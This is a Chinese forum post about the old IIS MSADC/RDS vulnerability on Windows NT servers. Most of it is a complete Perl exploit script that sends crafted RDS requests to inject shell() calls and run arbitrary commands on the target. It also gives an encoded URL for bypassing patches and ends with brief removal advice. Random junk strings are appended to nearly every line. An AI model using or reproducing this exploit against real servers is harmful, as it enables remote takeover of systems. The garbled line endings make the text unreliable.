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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0BK5qz  
i=#F)AD^5#  
涉及程序: x-;`-Uo%  
Microsoft NT server |`0n"x7  
xaW{I7FfG  
描述: bK*~ol  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Ch5+N6c^  
*eb-rhCVn  
详细: E!mmLVa9  
如果你没有时间读详细内容的话,就删除: ^R~~L  
c:\Program Files\Common Files\System\Msadc\msadcs.dll n>FY?  
有关的安全问题就没有了。 Ia4)uV8  
{/ 2E*|W~I  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^sClz*%?  
)(TAT<  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @dEiVF`4:  
关于利用ODBC远程漏洞的描述,请参看: fY W|p<Q0  
{x@|VuL=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d%ME@6K)  
ar ^i|`D  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Adx`8}N8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp w/m:{cHk  
[*4fwk^  
这里不再论述。 ,D=fFpn  
(S /F)?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $B .Qc!m  
(f#b7O-Wn  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset n}nEcXb  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! VaLs`q&3>  
{hdPhL  
JL^2l$up  
#将下面这段保存为txt文件,然后: "perl -x 文件名" K5 KyG  
55DE\<r  
#!perl  .\:J~(  
#  jNyoN1M  
# MSADC/RDS 'usage' (aka exploit) script jvwwJ<K  
# [f{VIE*?%  
# by rain.forest.puppy l67Jl"v  
# v"O5u%P  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me NXk!qGV2  
# beta test and find errors! {D`T0qPT[  
zfI}Q}p  
use Socket; use Getopt::Std; k$i'v:c|:i  
getopts("e:vd:h:XR", \%args); ~Y!kB:D5;~  
Ol/N}M|3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -:Rp'SJ  
Ip *g'  
if (!defined $args{h} && !defined $args{R}) { ip:LcGt  
print qq~ \_BkY%a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } AC- )BM';  
-h <host> = host you want to scan (ip or domain) aaW]J mRb  
-d <seconds> = delay between calls, default 1 second zu\`1W^  
-X = dump Index Server path table, if available i@P}{   
-v = verbose Xyx"A(v^l  
-e = external dictionary file for step 5 zGo|JF  
 #ToK$8  
Or a -R will resume a command session 1NLg _UBOK  
~N0 sJ%  
~; exit;} k!L@GQ  
9$*s8}|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; j;~%lg=)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} bn9;7`>.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \IM4Z|NN"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GZ#aj|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^s:y/Kd  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } YA]5~ ZE\  
o*S"KX $  
if (!defined $args{R}){ $ret = &has_msadc; @mQ:7-,~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Dt}rR[yJ  
Vm1-C<V9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 'Prxocxq  
. "cmd /c "; IVxWxM*N<  
$in=<STDIN>; chomp $in; 2tQ`/!m>v$  
$command="cmd /c " . $in ; P5 <vf  
5jcte< 5I_  
if (defined $args{R}) {&load; exit;} :$3oFN*g  
afG{lWE)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; q OhO qV  
&try_btcustmr; 1 jb/o5n;  
clO,}Ph>  
print "\nStep 2: Trying to make our own DSN..."; uZjC c M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |UnUG  
 Ukz;0q  
print "\nStep 3: Trying known DSNs..."; 2h=%K/hhY  
&known_dsn; W&Y"K)`  
~+F;q vq  
print "\nStep 4: Trying known .mdbs..."; S::=85[>z  
&known_mdb; F =a+z/xKT  
= "ts`>  
if (defined $args{e}){ si4-3eC  
print "\nStep 5: Trying dictionary of DSN names..."; V >-b`e  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } sN=6gCau  
7*o*6,/  
print "Sorry Charley...maybe next time?\n"; D=f7NVc>Q  
exit; )$%Z:  
LaFZ?7@|}  
############################################################################## Ka!I`Yf  
tl yJmdl  
sub sendraw { # ripped and modded from whisker PyC0Q\$%  
sleep($delay); # it's a DoS on the server! At least on mine... ~"x5U{K48S  
my ($pstr)=@_; s54nF\3V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || h!@,8y[B  
die("Socket problems\n"); U%<rn(xWXD  
if(connect(S,pack "SnA4x8",2,80,$target)){ . RVVWqW  
select(S); $|=1; &n2e  
print $pstr; my @in=<S>; ,U,By~s  
select(STDOUT); close(S); &7mW9]  
return @in; Pn.bVV:  
} else { die("Can't connect...\n"); }} d[gl]tj9  
gO?44^hMe  
############################################################################## q Dd~2"er  
k ^'f[|}  
sub make_header { # make the HTTP request oj.A,Fh  
my $msadc=<<EOT z:Sigo_z[  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Kz8:UG(  
User-Agent: ACTIVEDATA iSRpfU  
Host: $ip UAS@R`?cI  
Content-Length: $clen fr6^nDY  
Connection: Keep-Alive wHjLd$ +o  
8Chj w wB  
ADCClientVersion:01.06 c{ZY,C&<  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 EC&@I+'8Q  
rf+:=|/_3  
--!ADM!ROX!YOUR!WORLD! 4S0>-?{  
Content-Type: application/x-varg t5k!W7C  
Content-Length: $reqlen \h<BDk*  
Rn%N&1 Ef  
EOT qr\ !*\9  
; $msadc=~s/\n/\r\n/g; 1B>Vt*=  
return $msadc;} =tTqN+4  
jo +w>  
############################################################################## @\_x'!R  
%b.UPS@I  
sub make_req { # make the RDS request FUK3)lT  
my ($switch, $p1, $p2)=@_; o;"OSp  
my $req=""; my $t1, $t2, $query, $dsn; @xsP5je]  
({0)@+V8  
if ($switch==1){ # this is the btcustmr.mdb query rI$`9d  
$query="Select * from Customers where City=" . make_shell(); .V9e=yW!*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D-imL;|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} j Ib  
Hk_y/97OO  
elsif ($switch==2){ # this is general make table query U7mozHS,:9  
$query="create table AZZ (B int, C varchar(10))"; EY`H}S!xy  
$dsn="$p1";} >C WKH~  
ER2GjZa\z  
elsif ($switch==3){ # this is general exploit table query *MN HT`Y^o  
$query="select * from AZZ where C=" . make_shell(); M_ 0zC1  
$dsn="$p1";} 7fp(R&)1  
%,@vWmn  
elsif ($switch==4){ # attempt to hork file info from index server ?zJpD8e  
$query="select path from scope()"; PeX1wK%f  
$dsn="Provider=MSIDXS;";} |4)  
k?BJdg)xJ  
elsif ($switch==5){ # bad query <O?y-$~  
$query="select"; $ZPX]2D4B#  
$dsn="$p1";} AEmNHO@%q  
I|oT0y &  
$t1= make_unicode($query); &Wp8u#4L  
$t2= make_unicode($dsn); A|#`k{+1-  
$req = "\x02\x00\x03\x00"; T[k4lM  
$req.= "\x08\x00" . pack ("S1", length($t1)); eC DIwB28  
$req.= "\x00\x00" . $t1 ; wo2@hav  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z!d7&T}  
$req.= "\x00\x00" . $t2 ; LVIAF0kX  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :qhpL-ER  
return $req;} (9\;A*CZ  
Op.8a`XLt&  
############################################################################## >!e<}84b  
CDj~;$[B  
sub make_shell { # this makes the shell() statement { kSf{>Ia  
return "'|shell(\"$command\")|'";} $lIWd  
-b&{+= ^c  
############################################################################## seFGJfN\?f  
xVB;s.'!  
sub make_unicode { # quick little function to convert to unicode $aCd/&  
my ($in)=@_; my $out; _i_Q?w`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } # M, 7  
return $out;} +'@+x'/{^  
iO /XhSD  
############################################################################## >DM44  
j*@l"V>~  
sub rdo_success { # checks for RDO return success (this is kludge) ha@L94Lq  
my (@in) = @_; my $base=content_start(@in); :%&Q-kk4!  
if($in[$base]=~/multipart\/mixed/){ v!3A9!.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} DDT_kK;  
return 0;} zIC;7 5#  
qL6c`(0  
############################################################################## +i ?S  
M$4k;  
sub make_dsn { # this makes a DSN for us ?PA$Ur21lw  
my @drives=("c","d","e","f"); d4:`@*  
print "\nMaking DSN: "; 0<"k8 k@J  
foreach $drive (@drives) { J2q,7wI#  
print "$drive: "; :Eh\NOc_O  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . yw[#  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" JTqDr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); w&$d* E  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |Z\R*b"  
return 0 if $2 eq "404"; # not found/doesn't exist Ng><n}  
if($2 eq "200") { o56`  
foreach $line (@results) { Wc3kO'J  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %98' @$:0  
} return 0;} 0`.^MC?  
7g=2Z[o  
############################################################################## lPH%Do>K  
VUTacA Y>L  
sub verify_exists { LZPuDf~/  
my ($page)=@_;  $p!yhn7  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v}@xlB=  
return $results[0];} t$2_xX  
"gd=J_Yw  
############################################################################## QY/hI `  
-yxOBq  
sub try_btcustmr { T +5X0 Nv  
my @drives=("c","d","e","f"); ZZ QG?("S'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); A[G0 .>Wk  
&<zd.~N"  
foreach $dir (@dirs) { }'r[m5T  
print "$dir -> "; # fun status so you can see progress !$2Z-!  
foreach $drive (@drives) { 6cqP2!~  
print "$drive: "; # ditto 8eA+d5k\.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !8 &=y  
$reqlenlen=length( "$reqlen" ); ]# t6Jwk  
$clen= 206 + $reqlenlen + $reqlen; EM>}0V  
'65LKD  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q'pK,uNW  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &`b "a!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  u66XN^  
imQUR C  
############################################################################## [c_|ob]  
$/Aj1j`"9+  
sub odbc_error { 9nu3+.&P  
my (@in)=@_; my $base; A+@&"  
my $base = content_start(@in); UR:aD_h  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :akT 'q#  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hdTzCfeZ5@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k X {0y  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Nn>'^KZNG  
return $in[$base+4].$in[$base+5].$in[$base+6];} #plY\0E@  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; fs/*V~@  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]v+31vdf:O  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R^{)D3  
P%K4[c W~  
############################################################################## -OSa>-bzNx  
);-~j  
sub verbose { h6dPO"  
my ($in)=@_; ){jl a,[  
return if !$verbose; fM^[7;]7e  
print STDOUT "\n$in\n";} 26CS6(sn  
Fl(T\-Eu  
############################################################################## pW4 cX  
8,dBl!G=  
sub save { C]Q8:6b  
my ($p1, $p2, $p3, $p4)=@_; r(gXoq_w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; KZPEG!-5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $1ndKB8)`J  
close OUT;} }1IpON  
)>BHL3@  
############################################################################## 4tY ss  
BT}&Y6  
sub load { <$JaWL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \TU3rk&X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); tDUwy^j  
@p=<IN>; close(IN); 37}D9:#5C  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Y3Q9=u*5  
$target= inet_aton($ip) || die("inet_aton problems"); EYA,hc  
print "Resuming to $ip ..."; l&?ii68/  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; r&FDEBh  
if($p[1]==1) { &c1A*Pl/:G  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ->N8#XH2=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %.Q !oYehj  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5atYOep  
if (rdo_success(@results)){print "Success!\n";} G8Du~h!!U  
else { print "failed\n"; verbose(odbc_error(@results));}} NVRLrJWpp  
elsif ($p[1]==3){ Sfdu`MQR  
if(run_query("$p[3]")){ d^`?ed\1  
print "Success!\n";} else { print "failed\n"; }} n?V+dC=F}  
elsif ($p[1]==4){ _o8 ?E&d  
if(run_query($drvst . "$p[3]")){ cp h:y  
print "Success!\n"; } else { print "failed\n"; }} 0]4(:(B  
exit;} qgrg CJ  
MHa#?Q9  
############################################################################## D+>1]ij  
[ +P#tIL  
sub create_table { h yv2SxP*  
my ($in)=@_; %;D.vKoh  
$reqlen=length( make_req(2,$in,"") ) - 28; H*r>Y  
$reqlenlen=length( "$reqlen" ); Ps<d('=  
$clen= 206 + $reqlenlen + $reqlen; yDGVrc'  
my @results=sendraw(make_header() . make_req(2,$in,"")); 0x!2ihf  
return 1 if rdo_success(@results); HJY2#lSha6  
my $temp= odbc_error(@results); verbose($temp); =Qn ;_+Ct  
return 1 if $temp=~/Table 'AZZ' already exists/; '}9JCJ  
return 0;} W | o'&  
#BST lz  
############################################################################## e>AE8T  
\Acqr@D  
sub known_dsn { iJ~Vl"|m  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Ot`VR&}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", JwXT%op9RP  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", d \35a4l  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9`9R!=NM  
KSrx[q  
foreach $dSn (@dsns) { ki)#d' }  
print "."; Zcc9e 03  
next if (!is_access("DSN=$dSn")); y  TDNNK  
if(create_table("DSN=$dSn")){ ]EpWSs!"g  
print "$dSn successful\n"; 7t*"%]o  
if(run_query("DSN=$dSn")){ &ZQJ>#~j^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &/Q0  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Ggb5K8D*  
RZCq{|L  
############################################################################## pf7it5  
J.| +ID+  
sub is_access { T|6a("RL  
my ($in)=@_; )=etG  
$reqlen=length( make_req(5,$in,"") ) - 28; mN19WQ(r  
$reqlenlen=length( "$reqlen" ); n9xAPB }  
$clen= 206 + $reqlenlen + $reqlen; piZJJYv t  
my @results=sendraw(make_header() . make_req(5,$in,"")); y? co|  
my $temp= odbc_error(@results); 3F<VH  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); %p 0xM  
return 0;} Dmu/RD5X:  
FJ6u.u  
############################################################################## # m *J&  
~Onoe $A[<  
sub run_query { r#B+(X7LM  
my ($in)=@_; 2m2;t0  
$reqlen=length( make_req(3,$in,"") ) - 28; `kJ^zw+  
$reqlenlen=length( "$reqlen" ); ^R@j=_8}  
$clen= 206 + $reqlenlen + $reqlen; ~7Tc$ "I  
my @results=sendraw(make_header() . make_req(3,$in,"")); UCClWr  
return 1 if rdo_success(@results); !dC<4qZ\C  
my $temp= odbc_error(@results); verbose($temp); BV[5}  
return 0;} B[4KX  
S9",d~EM  
############################################################################## 8zR~d%pK  
5EebPXBzB  
sub known_mdb { v3jg~"!  
my @drives=("c","d","e","f","g"); $"H{4 x`-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); E0?iXSJ  
my $dir, $drive, $mdb; % V ;?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _&b4aW9<  
HZf/CE9T  
# this is sparse, because I don't know of many oczN5YSt  
my @sysmdbs=( "\\catroot\\icatalog.mdb", `6xkf&Kt  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", s=QAO!aw  
"\\system32\\certmdb.mdb", i0$kit  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 9*1,!%]  
&@yo;kB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *=*AAF  
"\\cfusion\\cfapps\\forums\\forums_.mdb", z21|Dhiw&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^cz(}N 6&  
"\\cfusion\\cfapps\\security\\realm_.mdb", 2mGaD\?K  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", b8LLr;oQw  
"\\cfusion\\database\\cfexamples.mdb", wLOB}ZMT  
"\\cfusion\\database\\cfsnippets.mdb", -xA2pYz"  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T]=r Co  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", { >)#HD  
"\\cfusion\\brighttiger\\database\\cleam.mdb", G8Y<1%`<  
"\\cfusion\\database\\smpolicy.mdb", ^i} L-QR  
"\\cfusion\\database\cypress.mdb", ftF@Wq1f  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [6XF=L,!  
"\\website\\cgi-win\\dbsample.mdb", Evjj"h&0J  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ~15N7=wCM  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~"kb7Fxp  
); #these are just < RH UH)I  
foreach $drive (@drives) { (j3xAA  
foreach $dir (@dirs){ K$E3QVa  
foreach $mdb (@sysmdbs) { TmV,&['mg  
print "."; ry`z(f  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ j?x>_#tIY  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $NZ-{dY{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Qh'ATo  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; @8pp EFw  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .w8J*JZ  
=t H:,SH  
foreach $drive (@drives) { &b%zQ4%d-`  
foreach $mdb (@mdbs) { s pp f  
print "."; 9E>|=d|(d  
if(create_table($drv . $drive . $dir . $mdb)){ ne_TIwfw-  
print "\n" . $drive . $dir . $mdb . " successful\n"; )6D,d5<  
if(run_query($drv . $drive . $dir . $mdb)){ P n>Xbe  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; G'ei/Me6{  
} else { print "Something's borked. Use verbose next time\n"; }}}} l^pA2yh|  
} 8)10o,#L  
+ |#O@k  
############################################################################## 2;DuHO1  
BlA_.]Sg$  
sub hork_idx { 'z%o16F)L  
print "\nAttempting to dump Index Server tables...\n"; 4O)1uF;  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4;0lvDD  
$reqlen=length( make_req(4,"","") ) - 28; ECrex>zr%  
$reqlenlen=length( "$reqlen" ); eQp4|rf  
$clen= 206 + $reqlenlen + $reqlen; Y6zbo  
my @results=sendraw2(make_header() . make_req(4,"","")); W"}M1o  
if (rdo_success(@results)){ $JMXV  
my $max=@results; my $c; my %d; %&w3;d;c  
for($c=19; $c<$max; $c++){ Wp!%-vzy&  
$results[$c]=~s/\x00//g; XH}\15X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |ZRagn30  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3W3ZjdV+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; z6jc8Z=O  
$d{"$1$2"}="";} p8h9Ng* &`  
foreach $c (keys %d){ print "$c\n"; } [f1 (`<  
} else {print "Index server doesn't seem to be installed.\n"; }} gT0BkwIV  
4,CXJ2  
############################################################################## w~"KA6^  
Kgi<UkFP  
sub dsn_dict { B"TAjB& *  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,D]QxbwZ  
while(<IN>){ pgE}NlW  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; v*SEb~[  
next if (!is_access("DSN=$dSn")); +'I+o5*  
if(create_table("DSN=$dSn")){ C9n?@D;S  
print "$dSn successful\n"; jY% na HaI  
if(run_query("DSN=$dSn")){ +zaA,e?\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { AP7Yuv`  
print "Something's borked. Use verbose next time\n";}}} 2.l Z:VLN  
print "\n"; close(IN);} %.^_Ps0  
'rO!AcdLU  
############################################################################## QxVq^H  
T`\x,` ^  
sub sendraw2 { # ripped and modded from whisker `.FF!P:{C*  
sleep($delay); # it's a DoS on the server! At least on mine... <`B,R*H{  
my ($pstr)=@_; Lvq>v0|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gcPTLh[^Er  
die("Socket problems\n"); uW@oyZUj  
if(connect(S,pack "SnA4x8",2,80,$target)){ aI6$?wus  
print "Connected. Getting data"; (Pf+0,2  
open(OUT,">raw.out"); my @in; _aad=BrMK  
select(S); $|=1; print $pstr; H%UL%l$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} C":32_q  
close(OUT); select(STDOUT); close(S); return @in; `\gnl'  
} else { die("Can't connect...\n"); }} U(Nu%  
xLNtIzx  
############################################################################## C&*oI =6  
e;Ti&o}  
sub content_start { # this will take in the server headers  86 W9rR  
my (@in)=@_; my $c; 7\$qFF-y  
for ($c=1;$c<500;$c++) { 'IZI:V"  
if($in[$c] =~/^\x0d\x0a/){ 8\^}~s$$A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hxVKV?Fl  
else { return $c+1; }}} JJ}0gZ   
return -1;} # it should never get here actually M=F xB;v  
bJRN;g  
############################################################################## =(NB%}  
- }7e:!.  
sub funky { y.#")IAF  
my (@in)=@_; my $error=odbc_error(@in); !MYSfPdS  
if($error=~/ADO could not find the specified provider/){ +$C 4\$t  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; k7?N ?7w  
exit;} <tF9V Jq  
if($error=~/A Handler is required/){ *)ardZV${  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8oUpQcim  
exit;} $@^pAP   
if($error=~/specified Handler has denied Access/){ e,F1Xi #d  
print "\nServer has custom handler filters (they most likely are patched)\n"; Mr;E<Lj ^K  
exit;}} UR7g`/  
A+::O@_s  
############################################################################## CdasP9"1  
u.d).da  
sub has_msadc { GN ]cDik  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _,xc[ 07  
my $base=content_start(@results); !/}O>v~o  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @hJ%@(  
return 0;} W3IpHV  
o7J  
######################## tw^,G(  
mQCeo}7N5  
8TGOx%}i  
解决方案: DF1I[b=]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll SH_(rQby  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 85n1eE  
tNGp\~  
拿出来充数 哈哈
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